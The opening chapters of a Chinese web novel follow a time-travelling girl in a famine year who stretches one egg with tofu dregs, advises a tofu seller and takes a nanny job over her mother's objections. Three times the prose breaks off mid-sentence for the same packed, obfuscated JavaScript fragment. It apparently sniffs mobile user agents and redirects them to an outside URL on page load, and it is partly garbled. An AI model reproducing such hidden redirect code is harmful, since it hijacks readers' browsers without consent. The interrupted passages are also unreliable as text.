《掌柜她要卷死餐饮同行（美食）》 1. 商业奇才幼年体 榕树巷里，三个孩子团团蹲着，围着一颗鸡蛋发愁。 鸡蛋很小，不比大顺在喜鹊窝儿里掏到的鸟蛋大。盖因今年乡下发蝗灾，粮食减产，河头县粮价菜价一日高似一日，人况且没有粮食吃，鸡们更只能捡些糠皮烂菜，蛋自然也下得小。也正因此，对许久不见荤腥的孩子们来说，这颗鸡蛋弥足珍贵。 大顺叹气，说：“要是有三颗蛋就好了，我们一人一个，那才吃得过瘾。” 蛋是陈瑞安带来的，她说：“就这一个，还是我趁掏鸡蛋的时候偷偷扣下来的呢。今年我家里的鸡下的蛋，全被我娘拿去换钱买米了。” 阿亭温声细语地说：“有一个就已经很好了，多亏小安，我今年还没吃过蛋呢。” 三个人、一个蛋，要怎么分才好？ 煮白煮蛋么，一人还分不到一口，不够塞牙缝的；蒸鸡蛋羹么，好吃是好吃，只是一滑滑到嗓子眼，实在不解瘾；炒鸡蛋么，这么小一个蛋，炒不出来两筷子，净沾锅底了。 陈瑞安说：“我家里只有红薯和红薯叶，和鸡蛋配不到一块儿去。” 大顺说：“我家什么余粮也没有，今天中午全吃完了。我娘还嫌我们呢，说‘半大小子，吃穷老子，家里四个半大小子，比蝗虫还可怕些。’” 阿亭说：“我家里也只有红薯和红薯叶，还有豆渣。豆渣实在太噎了，如今我弟弟一见豆渣就哭，别说他，我都有些怕吃饭了。”阿亭娘是个寡妇，靠走街串巷卖豆腐讨生活，因此阿亭家里有吃不尽的豆渣。 陈瑞安冥思苦想：“红薯、红薯叶、豆渣……啊，有了！阿亭，我们去你家，我有办法，把一个鸡蛋变成三个鸡蛋！” 大顺奇道：“难道你会变法术不成，一个鸡蛋怎么能变成三个鸡蛋？除非把鸡蛋孵出小鸡，小鸡长大再下蛋，那怎么也得大半年了。” 陈瑞安说：“山人自有妙计。” 一行人走到阿亭家的厨房，阿亭揭开一个坛子，给小伙伴们看：“喏，豆渣都在这里了。” 陈瑞安探头一看，果然装着满满一摊子豆渣。今早新用纯黄豆磨出来的豆渣，洁白如雪，绵软细腻，凑近了能隐隐闻到醇厚的豆香。 豆渣不仅香，而且营养十分丰富，是正儿八经用粮食做出来的东西。然而豆渣豆渣，坏就坏在一个“渣”字，吃进嘴里又干巴又粗糙，满嘴的渣，口感十分糟糕，说是难以下咽也不为过；咽下去吧，脖子伸出二里地了，它还卡在喉咙里不肯下去呢。 陈瑞安舀了一大碗豆渣备用，又把一个红薯洗净切块。锅中烧开水，把豆渣红薯架进去蒸。她又挑了一小棵嫩嫩的红薯叶，只取梗部，洗净后掰掉较老的茎，切成碎碎的小丁。红薯叶切好了，豆渣和红薯块也蒸好了，起锅烧油，把豆渣倒进去，炒至干松。 万事俱备，这时，就该请出那颗珍贵的鸡蛋了。陈瑞安把鸡蛋敲入碗中，加盐打散，倒进锅里，和豆渣一起翻炒，再次炒至松散状。为了充分利用鸡蛋液，陈瑞安特意盛出一点豆渣洗了洗打蛋的碗，再倒回锅里。然后，加入切碎的红薯叶梗、盐、一丢丢酱油，再撒入一把院子里现摘的葱切的葱花，出锅装盘，豆渣炒鸡蛋就做好了。 豆渣还剩一点，可以再做一道菜。红薯块用饭勺压成泥，加入剩余的豆渣和一勺生粉，和匀，用手团成一个个鹌鹑蛋大小的丸子，再次起锅烧油，煎至外皮金黄酥脆，就可以出锅了。 两道菜端上桌，大顺和阿亭瞬间两眼放光。 阿亭惊喜地说：“看起来就好好吃啊，小安，你真厉害！” 大顺更是激动地喊道：“你还真把一个鸡蛋变成三个了！” 满满一盘的豆渣炒鸡蛋，每一颗豆渣上都均匀地裹满了蛋液，色泽金黄，可不是正像一大盘炒鸡蛋？红薯叶梗和葱花青翠欲滴，点缀其间，更令人食指大动。 大顺迫不及待地夹了一筷，送入口中。 陈瑞安问：“怎么样？” “好鲜！又松又软，蛋味儿也重，真的像炒鸡蛋，太过瘾了！”大顺嘴里还在咀嚼，含混不清地答道。 阿亭也夹了一筷子，细细咀嚼，眼睛骤然一亮：“一点都不噎了！有蛋香、豆香，还有葱香和红薯叶的香气，没想到，豆渣也能这么好吃！” 在阿亭慢慢品味豆渣炒鸡蛋的时候，大顺已经风卷残云般又吃了两颗红薯豆渣丸子，兴奋地说：“这个也好吃，外面一层脆壳，里面是软软糯糯的，有点像过年炸的萝卜丸子，不过是甜口的。” 阿亭的小弟弟阿力午觉刚醒，远远闻到香味，睡眼惺忪地就跑过来要吃。阿亭拿小碗分了一点给他，他困得眼睛睁不开，小鸡啄米似的，吃一口点一下头，几个大孩子盯着他，笑得前仰后合。 大快朵颐，吃了八成饱后，孩子们开始说闲话。 阿亭对陈瑞安说：“小安，谢谢你，我们才能吃到这么好的东西。” 陈瑞安被夸得不好意思，说：“别光谢我呀，也谢谢大顺。这颗鸡蛋原本是我拿来谢大顺帮我找工作的，大顺讲义气，说要跟我们一起分着吃。” 阿亭惊喜地问：“成了呀？就是帮学堂舒先生照顾女儿的那个？” 大顺笑着插话：“大成特成！我跟舒先生说，小安是瑞平哥的妹妹，舒先生一听，立马说瑞平哥家教好，再合适不过了。舒先生说，明日学堂休沐，请小安先去他家里见一见，先认认路。” 阿亭羡慕地说：“一千五百钱吧？这活儿真好，我娘起早贪黑，卖上一个月的豆腐，也才挣三贯多钱，如今黄豆涨价、买的人也变少了，更赚不到钱了。要不是阿力在家里没人照顾，我也出去找份活儿干一干了。” 大顺忙说：“我就是想到这个，不然论照顾孩子，没人比你更能干了。” 陈瑞安也说：“可不是么，舒先生待遇开得公道。关键是十分轻松，他家里另雇了一个老妈子，洗衣做饭一概不用，只需陪着孩子玩一玩，管她起居吃饭即可。其实，除了薪水，我还看重这份工作包早中两顿饭。今年粮价这么高，你们家里多少还有两分薄田，我家一点田地都没有，就院子里能种点青菜，不够吃的就要拿钱买。我想着，光这早中两顿饭，就可以给家里省下不少。” 阿亭点点头：“而且陈爷爷的药钱又那么贵，你家日子原本就不好过。小安真棒，这么快就能帮金花婶分忧了。” 陈家爷爷患有卒中，是早在张金花嫁到陈家、生出瑞平瑞安兄妹俩之前的事了。当时，爷爷修养一些时日后，好了大半，只是口齿有些含混。但卒中之症，哪有不复发的？在陈瑞安三岁时，陈家爷爷终于彻底不能自理，从此以后，吃喝拉撒，俱离不开人。为了爷爷的病，陈瑞安的爹把家里的田地都卖了，凑出一笔本钱，从此常年在外跑生意，赚爷爷的药钱和一家老小的吃穿；陈家奶奶负责照顾陈家爷爷，张金花则负担着陈家里里外外的家务。 陈瑞安说：“不说这个了，一想到明天要去见舒先生，我就紧张得直咽口水。阿亭，你家豆腐不好卖么？” 阿亭说：“是呀。我娘说，从前一天能卖三板豆腐，不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117775|164203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到中午就卖完回来了；如今上午下午都出去卖，两板豆腐还卖不完呢，只好带回来便宜卖给街坊们。” 陈瑞安说：“我帮你想一个办法。既然剩了也是便宜卖，不如再外面就便宜卖掉，早些卖完早些回来，否则你娘也太辛苦了。你娘卖豆腐的时候，可以买一块送半块，大家都爱占便宜，一听有这么好的活动，原本不打算买豆腐的，这下也买了。” 阿亭想了想，说：“可这也太便宜了，恐怕收不回本钱吧？” 陈瑞安说：“提价呀！你家豆腐原本卖八文钱一块，如今卖十文一块，这样算下来，其实每块豆腐才便宜了一文多钱。别人问起来，就说最近黄豆涨价了，豆腐自然也得跟着涨。更重要的是，你娘做两板豆腐是做，做三板豆腐也是做，并不多费很多事。这么一卖，虽然单价低了，但是销量却涨了，总的算下来，岂不是赚得更多？” 阿亭被绕得头晕，想了半天，才恍然大悟：“好像是这样。” 陈瑞安接着说：“我还有一计。你家的豆腐，每天要产出这么多豆渣，你们又吃不完，隔日酸了就得倒掉，倒不如送给买豆腐的人，也是看准人家爱占便宜的心理。让你娘吆喝的时候，就吆喝‘买豆腐送豆渣’，豆渣虽然不好吃，但是不要白不要呀。原本买别家豆腐的人，也许就来买你家的豆腐了；原本不买豆腐的人，一合计，也许就买了。” 大顺在一旁听得目瞪口呆：“小安，你是个天才吧？” 阿亭由衷赞同：“等我娘回来我就把这些都告诉她。小安，你真该去做生意，一定能发财！” 陈瑞安心道，我不是什么天才，无非是穿越过来，比你们多知道一些现代商家的诡计罢了！ 三人洗过锅碗瓢盆，又说了一阵话，不知不觉，日渐西斜。 忽然，阿亭竖起耳朵，说：“小安，我好像听见金花婶在喊你。” 陈瑞安仔细听了听，果然听见张金花高声叫她的声音。陈瑞安奇怪道：“咦，别人家还没上烟呢，怎么我家今天这么早吃饭？”说着，陈瑞安站起身，拍拍手上的灰：“你们玩吧，我先回去了。” 陈瑞安跑回家，只见她哥陈瑞平已经从衙门回来，正在院门口来回踱步。 陈瑞平今年十八，曾跟着舒先生上过几年学，去年新考上了县衙门贴写的职位，也就是衙门的临时工，如今做些抄录和整理文书的活儿。薪俸虽然不高，但胜在稳定体面；他又长得眉清目秀，文质彬彬，在本地媒婆间颇为热门。 然而在陈瑞安看来，亲哥陈瑞平是个古板又无趣的的书呆子，实在不值得媒婆们前仆后继地上门说亲。 陈瑞安奇怪道：“你不回家，站在门口干什么？” 陈瑞平见了陈瑞安，停下脚步，犹豫而关切地问道：“小安……” 见了亲哥的神情，陈瑞安暗道不好，问：“娘知道我偷鸡蛋的事了？” 陈瑞平说：“你还偷了鸡蛋？我不是说这个，是我今天回来在路上遇到舒先生了。” 陈瑞安心道不妙，古人说走为上计，她拔腿就要跑。 然而张金花早就听见动静，立马冲出来，眼疾手快，一把拽回了豆芽菜似的陈瑞安。 陈瑞安只好谄笑道：“娘，这不巧了吗？这事儿呢，我也是刚刚听说，正想着回来告诉您呢！” 张金花冷笑一声，把陈瑞安拎进院子里，反手关上大门，还顺带插上了门闩。 她端出一把太师椅，往院子中央一放，稳稳坐下，抬手一指地面，厉声道：“跪下！” 2. 红薯叶是用来喂猪的 陈瑞安吓了一跳，赶紧认错说：“娘，我错了，我不该自作主张。” 然而张金花不为所动，依然喝道：“跪下！” 陈瑞安心里觉得自己并没有犯什么大错，既然已经道歉，张金花还抓住不放，于是也犟起来了，不肯跪，说：“娘，你发这么大火干嘛呀！我就是想着，那边能管两顿饭，少我一张嘴，大家都能吃好点儿嘛！” 张金花横眉道：“怎么，我是饿着你了，你要跑到别人家里去讨饭吃？” 陈瑞安道：“饿倒是没饿着，可是家里这一顿顿的，除了红薯就是红薯叶，怎么吃呀？” 张金花冷笑一声，说：“就你挑嘴，红薯叶好吃得很！我就爱吃红薯叶。” 陈瑞安说：“大顺家里的红薯叶都是用来喂猪的，我们吃的这是猪食。” “我看你是个猪！为了贪一口肉，去别人家里做下人，脸都不要了！你还偷蛋，教你的道理都教到狗肚子里去了！”张金花气得眉毛都立起来，见陈瑞安不跪，干脆站起身，抄起一把扫帚，说：“我问你，我把你养这么大，让你管过全家人的饭没有？” 陈瑞安觉得娘说话太难听，气得不想理，别过头去。 张金花又问：“我让你洗过全家人的衣服没有？” 张金花三问：“照顾爷爷你沾过手没有？” 张金花说：“你到街坊邻居家里问问，哪怕比我们家宽裕的人家，谁家女孩子是不干活的？我把你这么娇生惯养地养了十二年，是图什么？是为了让你到人家去伺候人的？” 陈瑞安辩解道：“不是伺候人，是……唉哟！” 见张金花高高扬起扫帚，陈瑞平赶紧出来拉架，护在陈瑞安身前，说：“娘！别打！小安这么大了，不兴打孩子了！”又转头对陈瑞安说：“小安，快跟娘认个错！” 这么一打岔，陈瑞安倒想起来了，这事的始末中还有陈瑞平这号多管闲事的告密者，骂道：“你跟娘打小报告，叛徒！装什么好人！” 张金花只觉得陈瑞安不知好歹，听得更气了，还要打。趁有人控制住张金花，陈瑞安赶紧一溜烟地逃回自己的房间，闩上房门。 张金花犹在外面踹门说：“开门！” 陈瑞安又不傻，当然不会开门。她把头蒙进被子里，过了一会儿，外面就没了声响。 在床上滚了几圈，陈瑞安脑袋上的血开始往下降，心里委屈又懊悔。 陈瑞安想赚钱，其实并不像娘说的，是为了“贪一口肉”，而是真心希望家里的日子能好过一些。 张金花惯孩子，是远近闻名的。瑞平瑞安兄妹俩，除了偶尔洗碗喂鸡搭把手，从来不过问家里的粗活。其实有陈家爷爷这样一个重担，陈家的家务远比别家繁重，但张金花一手抗下，不叫孩子们过问。 早三四年，陈瑞平尚在学堂上学，张金花的娘家亲戚来家里，跟张金花唠闲嗑儿：“金花呀，不是我说你，我家丫头比你家小安还小半岁，每天做饭呀，熬猪食呀，干得好得很！你这样养丫头，什么都不会干，将来不好嫁人的呀！” 张金花登时脸色阴下来，冷冷地说：“我家丫头有福气，将来也不用一天到晚地干活。” 亲戚没眼色，接着说：“谁家媳妇不干活嘛！咱们又不是什么坐绣楼的小姐，穷人都是劳碌命呀，还是得从小做习惯了。我都是为了孩子好呀！” 当时的陈瑞安也就刚比灶台高一丢丢，正忙着整日在外面和小伙伴玩。这个故事，是大顺娘告诉她的。 大顺娘是远近闻名的河东狮，骂街是一把好手，但她讲述张金花的英勇事迹时，眼中透露出钦佩之色：“你娘一脚踢翻了她坐的凳子，这只手拿着扫把，那只手拿着簸箕，就这么——”大顺娘做了个扫地的动作，“把那个女人连推带赶地扫出去了！哎哟哟，扫出去以后，她把门一关，那个女人就站在门外面，足足骂了半个时辰！” 大顺娘说：“小安哪，有这么个娘护着你，你命是真好。” 陈瑞安也觉得自己命好。 上辈子，陈瑞安爹不疼娘不爱，还以为所有人都和她一样，事事只能靠自己；直到穿越到陈家，陈瑞安才有了家的感觉。虽然哥哥是个呆子、奶奶整天阴阳怪气、爷爷口齿含混话都说不清楚，但无一不是真心疼爱自己，更别说有如此护犊子的娘了。张金花虽然爱生气，但总是雷声大雨点小，拿个软趴趴的扫帚打屁/股，其实一点儿也不疼。 前些天，陈瑞安半夜起来上茅房，发现娘还在院子里，就着月光洗衣服。再定睛一看，衣服并不是自家人的。 陈瑞安于是明白过来，娘是在帮人洗衣赚钱。 陈家衣食住行，全靠在外辛辛苦苦跑生意的爹。跑生意固然赚得不算少，但一多半都用在了爷爷的药钱上。张金花在吃上讲究，一家人都要吃饱、吃好，平日开销也比别家多，存不下什么钱。 彼时，陈家十顿饭里，大约只吃一顿红薯；后来，红薯愈来愈多，青菜也慢慢变成红薯叶。陈瑞安明白，粮价还在涨，即使拼命洗衣赚钱，娘也逐渐支撑不住了。 于是，听说有个一个月一千五百钱的工作机会，陈瑞安忙不迭地托大顺去问；听说此事可成，陈瑞安十分欣喜。 不为贪吃，只希望娘能少熬夜、少洗两件衣服啊。 厨房里，张金花气冲冲地炒菜，把锅铲敲得锵锵响。 陈瑞平听得战战兢兢，但还是秉着作为大哥的责任心，鼓起勇气，上前劝慰道：“娘，您别生气了，我看小安也不是有意瞒您。” 张金花不耐烦道：“你懂个屁！我气的是她瞒我吗？” “啊？”陈瑞平懵了，“那您是气什么？” “说了你也不懂。”张金花懒得跟陈瑞平解释，“去给我抽筷子。” 陈瑞平正要拿筷子，转身看见奶奶走进了厨房，是来送爷爷吃过的碗。陈瑞平埋怨道：“奶奶，娘要打小安的时候，您也不出来帮忙劝劝。” 奶奶悠悠地说：“该打，劝什么。” 陈瑞平还欲再说，张金花高声喊道：“吃饭！” 半晌，门才咯吱一声打开，正是陈瑞安从房中出来。 虽然心怀歉疚，但陈瑞安并拉不下脸向娘道歉。她掐算着时间，估摸着饭菜已经端上桌，才磨磨唧唧地走到餐桌前。 提起筷子，陈瑞安才发现，餐桌上除了红薯和红薯叶，还放着一盘煎豆腐。 豆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117776|164203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腐一看就是从阿亭娘那里买来的，阿亭娘做的豆腐，盐卤放得大方，做出来紧实有嚼劲。张金花把豆腐切成三角形的厚片，菜籽油一煎，两面都金灿灿黄澄澄，外脆里软，香得没边。张金花爱吃辣，还拨了一勺辣椒酱在盘子角。辣椒酱是自家做的，加了蒜蓉和豆豉，夹块豆腐沾一沾，能下半碗饭——不对，今天没有饭，只有红薯——能下三块红薯。 娘虽然嘴硬，但一听女儿不爱吃红薯叶，立即去买了豆腐来煎。陈瑞安见了这盘豆腐，心一下子软了。 张金花见陈瑞安盯了豆腐半天，硬是没夹，以为她还赌着气呢，于是夹了一块到陈瑞安碗里。 陈瑞安更感动了，正打算狠狠抱一下娘母女情深重归于好，谁料—— 张金花板着脸说：“我以后不天天做红薯叶了，你不许去。” 陈瑞安逆反心理一下子就上来了，立即把刚刚的感动抛到九霄云外：“我不！你为什么不让我去？我靠自己的劳动挣钱，有什么不可以的？” 张金花一拍桌子：“反了你了！老娘把你养这么大，倒养出个丫鬟来了，你不嫌丢人，老娘还嫌丢人呢！” 两人大眼瞪小眼，谁也说服不了谁。 剑拔弩张之际，奶奶叹了声气，说：“金花，算了吧，儿大不由娘呀。你也是做孩子过来的，孩子要做的事，当娘的拦得住吗？让她去吧。” 听着婆婆的一番话，张金花愣了一会儿。看了眼陈瑞安，又看了眼陈瑞平，她最终轻轻叹了口气，对陈瑞安说：“你大了，我也管不住你了。”说完，不再多看陈瑞安一眼，沉默地吃着饭。 既然张金花先认了输，陈瑞安也不想再吵下去；只是有气没处撒，如同一拳打到棉花上，虽然如愿，但只觉心头憋屈又酸涩。 两人各怀各的心事，食之无味。 翌日，陈瑞安早早起床，洗漱整齐，准备去舒家拜访舒先生。 出门时，陈瑞安经过在洗衣服的张金花，不知是故意还是没有听见，娘并没有看她。 无论娘的态度如何，陈瑞安心想，只要能挣到钱、娘就能轻松些，一家人就能过得好些，至于别的，也就都无所谓了。 舒先生家离陈家有半条街的距离，比陈家更偏僻些。 舒家耕读传家，据传，舒先生的父亲深有陶潜遗风，分家时，既不要大宅子，也不要能挣钱的铺子，只要了远远的一大片田地。在舒家宅子周围，目之可及的田地，全是舒先生的资产。田产固然是最牢靠的好东西，然而毕竟生不了钱，舒先生一家比起其他旁支，简直可谓清贫了。 但对于陈瑞安来说，舒先生家就是妥妥的大户人家了。那么多的田！但凡分个一二十亩给陈家，遇到这样的荒年，一家人也不必吃糠咽菜了。 穿过长长的田垄，陈瑞安终于走到舒家宅子面前。 宅子比想象中更简朴，甚至可以说有些破败，青瓦白墙，墙头无甚装饰，墙角有雨水打出的灰痕和青苔，显出几分陈旧。大门朱漆剥落，门上一块牌匾，写着“隐庐”二字。院内传出咚咚的捣衣声，大约是舒家雇的那个老妈子正在洗衣。 陈瑞安叩响铜环，宅内立马有一个女人的声音应道：“来了！” 3. 舒小姐还柱走 那女人推开一道门缝，陈瑞安见她约莫四十几岁，膀大腰圆，脸庞好似一个月亮，眉毛蹙着，不大好惹的样子。她用攀膊束起衣袖，手上还滴着水珠。 女人警惕地上下打量了陈瑞安一番，问：“你是舒先生说的，要来照顾小姐的那个？” 陈瑞安答是，女人这才道：“进来吧，你先站在这儿别动，我收拾一下，领你进去。”说着拉开门，把陈瑞安让进前院。 陈瑞安自从穿越过来，一直在竹篱茅舍间打转，还未曾进过这种正儿八经的宅子，好奇地四处张望。前院不大，除了一间门房，其他房门都上了锁，看来不常有客人来。虽然冷清，倒是十分整洁，犄角旮旯里也没有堆放杂物。 前院与内院间有一扇梅花窗，影影绰绰能看见内院里有一棵大树。陈瑞安还欲再细看，那女人擦了手过来，皱眉说：“别看了，鬼头鬼脑的，跟我过来吧。” 女人引着陈瑞安进了内院，一径走到西厢房前，敲了敲门，舒先生在房内应道：“请进。”女人进去回话，叫陈瑞安先不要动。 陈瑞安不敢动，悄悄回头看院子里的那棵树，原来是棵银杏树，比榕树巷那棵榕树要小不少，但是打理得当，树冠的型很漂亮。再定睛一看，树下站着一个小女孩，想必就是七岁的舒小姐。 这位舒小姐身量不高，有些瘦弱，皮肤倒是白得发光，眉眼淡淡的，小嘴红红的，穿着粉粉绿绿的漂亮小衣服，好像一个玉娃娃。 见舒小姐也好奇地看着她，陈瑞安朝舒小姐友好地笑了笑。舒小姐给她笑得腼腆起来，躲到树后头去了，只探出一只眨巴眨巴的小眼睛。 这时，那女人回完话，出来说：“舒先生请你稍等，先同小姐玩一会儿，他作着文章，不好打断，即刻就来见你。我先出去忙了，我姓刘，小姐叫我刘婶，有事你喊我。”刘婶斜着眼睛又看来陈瑞安几眼，回前院洗衣服去了。 刘婶简直像个斜睨眼（斜视），从不正眼瞧人，态度实在算不得友善。钱难挣屎难吃，这是亘古不变的道理，为了钱，也只好忍着吧。 不必受刘婶审视，陈瑞安终于感到轻松些，走向院中央那棵银杏树，安心陪可爱小孩玩。 见陈瑞安靠近，舒小姐整个小人儿缩到树后；陈瑞安绕着树转圈找她，她也绕着树转圈藏。 陈瑞安哭笑不得，这怎么还演上“荆轲刺秦王”了！荆轲刺秦王，秦王还柱走，这里没有柱，倒是有一棵树。 见不到舒小姐，陈瑞安心生一计，假意说道：“哎呀，这是哪里飞来一只蝴蝶呀？我还没见过这么蓝、这么大的蝴蝶呢，真漂亮。” 果不其然，舒小姐从树后探出了小脑袋。陈瑞安假装手里捧着蝴蝶，转过身去，不让她看见：“唉哟，这蝴蝶翅膀一扇一扇的，应该是想飞走吧？” 蝴蝶飞走可就看不到了，舒小姐着急，也顾不得那么多了，跑到陈瑞安面前找蝴蝶。 陈瑞安蹲下，摊开手，手心躺着一颗桑皮纸包着的糖。揭开桑皮纸，里面是一颗琥珀色的梨膏糖，上头还裹着细密的霜花。 小孩子哪有不爱吃糖的？如陈瑞安所料，舒小姐见了糖，开开心心地接过，放进嘴里，早把蝴蝶抛到九霄云外了。 梨膏糖是用鸡毛从卖糖翁那里换的。俗话说，梨膏糖“三分卖糖，七分卖唱”，卖糖翁摇着拨浪鼓，唱着自己编的小曲儿吸引顾客，走到哪里，孩子们就跟到哪里。有孩子要买糖，他就从担子里取出一板，用特制的刀敲成一个个方方正正的小块，手法娴熟，榕树巷里的孩子们都爱围着看。梨膏糖由梨汁混着川贝、甘草等草药熬出，生津润肺、益气清火，小孩子也吃得。含一块在嘴里，外脆里绵，甜而不腻，清冽的梨香带着些凉意，直往喉咙里钻，爽口又解馋。 舒小姐人虽小，大约也懂得些吃人嘴短的道理，不仅不再躲了，还主动自我介绍起来：“姐姐，你叫什么名字？我叫青青。”说着，拾起一根小树枝，在银杏树边的土上，划拉出“舒青”两个大字，写完丢下树枝，用小手勾住陈瑞安的手，拉她过来看。 这两个字写得十分端正，陈瑞安不懂书法，只觉得横是横、竖是竖，大气得很。陈瑞安由衷赞叹道：“你的字写得真好看。我叫陈瑞安，耳东陈，瑞雪兆丰年的瑞，平安的安。” 青青小姐被夸得得意，说：“这是颜体。爹爹要我每天练一个时辰的字，可累了。”又捡起树枝，在旁边写了“陈瑞安”三个字。 刘婶人虽在前院，心却记挂着里面还有个“外人”，透过梅花窗一看，正好逮到两个孩子顽皮，赶紧从窗子里伸出一张嘴：“别给她玩土！弄脏了衣服，难洗得要命。” 陈瑞安正要答，舒先生开了西厢房的门，向陈瑞安挥挥手，和善地说：“你进来。”又向舒小姐道：“青青，今天的字练了吗？回房去练字。” 虽然在家常听哥哥和大顺说舒先生如何如何，但陈瑞安还是头一回见到活的舒先生。舒先生比陈瑞安想象中要年轻，十分儒雅，同舒小姐长得有七八分像，只是嘴唇更薄些，看起来更严肃；又因教了多年的书，自有一种不怒自威的气质，陈瑞安三分紧张一下子变作五分。 进了西厢房，陈瑞安暗自猜度，这应该是舒先生的书房：地上堆着许多书箱，除了窗边一张书案，没有一件家具，更无花瓶、字画等装饰，简直可以说是家徒四壁了。 舒小姐每日要练字，想必需要有人看管着功课。陈瑞安心想，这年头的女孩子少有上过学的，如果能让舒先生知道我有识字这一项本领，岂不是可以加些印象分？ 于是，陈瑞安指着书案上反摊着的一本书，笑道：“《大学》，这本书我家里也有，是我哥哥学过的，第一句我还会背呢。大学之道，在明明德，在亲民，在止于至善。” 舒先生果然感兴趣，问：“你识字？” 陈瑞安说：“认识，但是认得不全，小时候哥哥在学堂里学了，就带回来教我，图个好玩。” 才怪。陈瑞安上辈子是正儿八经的大学生，虽然离满腹经纶还差得远，但怎么可能不识字？陈瑞平要教她认字，她正乐意为识字这件事找个借口，跟着胡乱学一通，只用一炷香的时间，就学完了陈瑞平一天的课业。陈瑞平大惊失色，还以为是自己愚笨非常，愈发埋头苦读。陈瑞平读书能读出一点名堂，合该算陈瑞安一分功劳。 舒先生说：“那很好。认识些字，就好比比别人多一只眼睛，有大益处。” 陈瑞安笑说：“那我成二郎神了。” 舒先生也笑：“我从前听你哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117777|164203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥说过，你们的父亲在外经商。家里老人身体都还好吧？” 陈瑞安老老实实答：“我爷爷卒中，卧床快十年了，奶奶身体还很好。” 舒先生啊了一声，低头不知想些什么，半晌才说：“照料病人不容易，你家里人很了不起。你来我们家做事，家里大人都同意吧？” 陈瑞安睁眼说瞎话：“同意同意，他们都很支持，说来舒先生家见见世面，挺好。” 舒先生道：“那好，我看你识字，青青平日练字做功课，辛苦你督促着她些。一月给你开两贯钱，每月月初结清；巳时起，酉时止，总共四个时辰，学堂五日一休沐，有我在家，你也跟着学堂的日程一起歇一歇；早饭中饭，辛苦你陪着青青吃，她吃饭不老实，晚饭时我已经回家，你也回去陪家里人吃。平日我不在家，我夫人身体不大好，不管事，有什么不清楚的，尽管问你刘婶。” 原本说是一千五百钱，陡然变成两贯，陈瑞安喜出望外，同舒先生议定了明日就来上工，兴高采烈地回了家。 为了明天清清爽爽地去迎接新工作，陈瑞安决定洗个头。 现在正是夏天，洗头最方便，打一桶水，早上拎出来晒上半天，就足够暖和；洗完了，坐在院子里，不出半个时辰就能全晒干。 陈瑞安要洗头，不得不在院子里洗；张金花要干活儿，也不得不在院子里干。 张金花一言不发，默默地给菜地浇了水、喂了鸡、择好了晚上要吃的红薯叶，全当没看见院子中间还有个有些挡路的人。 陈瑞安也一言不发，即使发现忘了拿擦头发的巾子，也当没看见有个现成的张金花，向屋里喊奶奶帮她拿。 喊了好几声，也没把奶奶喊出来，陈瑞安湿着头发又不好行动，十分尴尬。 张金花已经做完院子里的活儿，冷哼一声，也不看女儿一眼，端着红薯叶径直进了屋。 陈瑞安硬着头皮，又喊了几声奶奶，过一会儿，奶奶才拿着巾子，款款地出来了。 陈瑞安接过巾子，嗔道：“奶奶，您是故意装听不见的吧？” 奶奶不承认，含糊其辞：“我人老耳朵聋。” 陈瑞安才不信，撇着嘴擦了头发，拉过椅子来坐下，开始晒头发。 奶奶说：“娘儿俩一样的犟。巾子是你娘告诉我你要，让我给你拿出来的。” 陈瑞安不想承娘的情，装没听见。 奶奶又说：“你生下来那天，我抱在怀里一摸，头发又黑又硬，跟个刺猬一样。那个时候我就知道，等你长大了，肯定跟你娘一个脾气，倔。” 陈瑞安说：“您肯定记错了，谁家孩子生下来头发像刺猬？那怎么也得好几十天大了。” 奶奶问：“你知道你娘为什么生气吗？” 陈瑞安说：“为我不跟她商量就自己做决定呗，我都这么大了，她怎么还什么都要管呀？哦，对了，还为觉得我伺候人丢她的脸了。劳动最光荣，我凭自己双手赚钱，怎么就丢脸了，她懂不懂呀？” 奶奶摇摇头：“不对。” 陈瑞安想不出来别的原因了：“那还能是为什么？” 奶奶嘿嘿一笑，端了把椅子坐在陈瑞安旁边：“来，我来给你说道说道，你娘年轻时候的故事。” 4. 红烧肉不吃肉只吃土豆 自打记事起，张金花就在照顾弟弟妹妹了。 张金花一共有四个妹妹、两个弟弟。 还没有摇床高的时候，她就在哄弟弟妹妹睡觉，后来是洗尿布，再后来是做饭喂饭……看着张金花一天天长大，爹娘就一件件将这些事务移交到她的肩上。 大姐么，要有大姐的样子。 当张金花长成少女时，在农忙的季节，她就需要同爹娘一起下地干活了——弟弟妹妹当然也不能落下，要把他们带到地里看顾。 家里孩子多，爹娘不得不在几亩薄田里苦苦耕耘，希望能用精细的照顾来换取更高一些的产量，供全家人果腹。娘即使在怀孕八九个月，肚子大得弯不得腰了的时候，也依然要下地干活。她因此失去过两个孩子。 爹娘太累了，每天眉头紧蹙着，无暇来关心这一个接一个的孩子们。 